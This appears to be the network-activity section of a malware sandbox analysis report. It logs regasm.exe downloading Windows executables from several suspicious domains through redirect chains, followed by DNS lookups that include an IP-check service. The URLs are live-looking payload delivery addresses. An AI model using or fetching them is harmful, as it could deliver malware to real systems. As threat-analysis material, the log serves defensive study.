                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Location: https://firstfirecar.com/fe20ef6e24af55779a96bb21c323f6c4/baf14778c246e15550645e30ba78ce1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JS7SzpYNccwFOQz6Smffb8PXGfGyI2mtoXMHLqIhI9aIsOWFQLaevARj%2BcHrZMJ4W6PKdLwivciYpUuzZmmey7JNDRtavJknfR4Tu9jvfYxYg7LUvRwWk7%2BHxxaYSrG%2FbCYa"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535b9bba18892-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://realdeepai.org/6779d89b7a368f4f3f340b50a9d18d71.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.193.79:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: realdeepai.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 307 Temporary Redirect
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Location: https://jonathantwo.com/fe20ef6e24af55779a96bb21c323f6c4/6779d89b7a368f4f3f340b50a9d18d71.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ja%2FXUjX5fQBMO4IceJXHcxPiPNMvsl0jS3s8T30JHH02GogRhO6R1heP9OW6Ch6Z5ue5RmUPivCToAbP%2FJm7tCnH93IhGd91Ze7u8r4unRqmlXWXyxW81%2FEADjt12CQP0g%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535b9bbba24e3-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://realdeepai.org/6779d89b7a368f4f3f340b50a9d18d71.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.193.79:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: realdeepai.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 307 Temporary Redirect
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Location: https://jonathantwo.com/fe20ef6e24af55779a96bb21c323f6c4/6779d89b7a368f4f3f340b50a9d18d71.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WNxjusZPgRgfMEYA4YjitStiGuy%2Bwt4wOHlDSmeENxjB4Y8nJ%2Fw5UIcM%2BQHOEYJ3VuSsSAF4YTWBpsBEJ7gHMfrUxY6Prrm37rZrNvUKYbF35SYi7Pzc7qQ06FU7tHxNlQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535b9bc6d9457-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://onlycitylink.com/baf14778c246e15550645e30ba78ce1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.182.192:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: onlycitylink.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 307 Temporary Redirect
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Location: https://firstfirecar.com/fe20ef6e24af55779a96bb21c323f6c4/baf14778c246e15550645e30ba78ce1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LhLEjPeU4mjyFOFXkZwqJPjI5S%2B5uUIVgdWYcW14P8iZlUDP20d1%2FFoq5vTZzfrDNOjjK6ttPBbJEqMt2HmrtdIkNQbTnPcAO24QQGIMvE7Z9tavJzN1KUb0An5QWrP47oFw"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535b9b94f9562-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://firstfirecar.com/fe20ef6e24af55779a96bb21c323f6c4/baf14778c246e15550645e30ba78ce1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.60.76:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /fe20ef6e24af55779a96bb21c323f6c4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: firstfirecar.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-ms-dos-executable
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 4361104
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Sun, 05 May 2024 21:54:54 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: max-age=14400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-Cache-Status: HIT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Age: 461
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zMGirwiTtcT9GslGmUFKWxqpV7pGJT63EZCPIURJEr13%2BnLDHPbbJmsNetNY7Wh3XNYIYiNiHOpDgPoRUqt5YgudIDEpXaPI04qs79a9ejkwpkgnhkAcNbUfy%2B0HIwqBZAYD"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535babcc860e1-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://firstfirecar.com/fe20ef6e24af55779a96bb21c323f6c4/baf14778c246e15550645e30ba78ce1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.60.76:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /fe20ef6e24af55779a96bb21c323f6c4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: firstfirecar.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-ms-dos-executable
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 4361104
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Sun, 05 May 2024 21:54:54 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: max-age=14400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-Cache-Status: HIT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Age: 226
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BBrGcSy5J%2FcCl18d8p3JfBEbpGETC%2FWPHBV8J1CpOtrG1I2Bc%2FGkWNXApuPkulmB4UJLMjQq3WfDFHQxaVu9jRcu4foF2u1RT3Rfz2qq5yfrnwXs9qN15JbQe3cHNJZQKHs9"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535baba2b7755-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://jonathantwo.com/fe20ef6e24af55779a96bb21c323f6c4/6779d89b7a368f4f3f340b50a9d18d71.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.176.131:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /fe20ef6e24af55779a96bb21c323f6c4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: jonathantwo.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-ms-dos-executable
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 4361112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Sun, 05 May 2024 21:54:26 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: max-age=14400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-Cache-Status: HIT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Age: 143
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OU4on1%2FbOcrnsKe86hSxyjLNW0aPR4sdF9KohACyRcDxEvrOPe0fXT0UAZs1JX4H68Tc%2FJ8IGW1JRrhlQ2J3D3Ng0WQy6TZIBMpB6GfbrywtuClQwENJp0cz%2BZxBNJ5RKGA%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535baca27dc63-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://jonathantwo.com/fe20ef6e24af55779a96bb21c323f6c4/6779d89b7a368f4f3f340b50a9d18d71.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.176.131:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /fe20ef6e24af55779a96bb21c323f6c4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: jonathantwo.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-ms-dos-executable
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 4361112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Sun, 05 May 2024 21:54:26 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: max-age=14400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-Cache-Status: HIT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Age: 355
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9%2B0DnXIULfRqZEbMTtCM4GAQOE6%2Fx4If3%2FRZme1yaxKvqtLM0f3KteIbfZHvGXnsA53PGAMQyxr8uWoi%2B2K1R62XyX%2Bs6r6SaNqikIcWDruBymTr9nbzySNAQAgbIOTXcdk%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535bac9486353-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    24.19.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    24.19.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.myip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.myip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.myip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.26.9.59
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.myip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.26.8.59
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.myip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.75.163
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    parrotflight.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    parrotflight.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    parrotflight.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.84.71
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    parrotflight.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.187.204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    184.139.19.162.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    184.139.19.162.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    184.139.19.162.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    p062minerscom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    r3.o.lencr.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    r3.o.lencr.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    r3.o.lencr.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    o.lencr.edgesuite.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    o.lencr.edgesuite.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a1887.dscq.akamai.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a1887.dscq.akamai.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.18.190.73
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a1887.dscq.akamai.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.18.190.80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    238.16.217.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    238.16.217.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    238.16.217.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    mad08s04-in-f141e100net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    238.16.217.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    lhr48s28-in-f14�I
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    59.128.172.185.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    59.128.172.185.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    47.151.221.77.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    47.151.221.77.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    file-file-host6.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    file-file-host6.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    file-file-host6.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    31.41.44.147
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    junglethomas.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    junglethomas.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
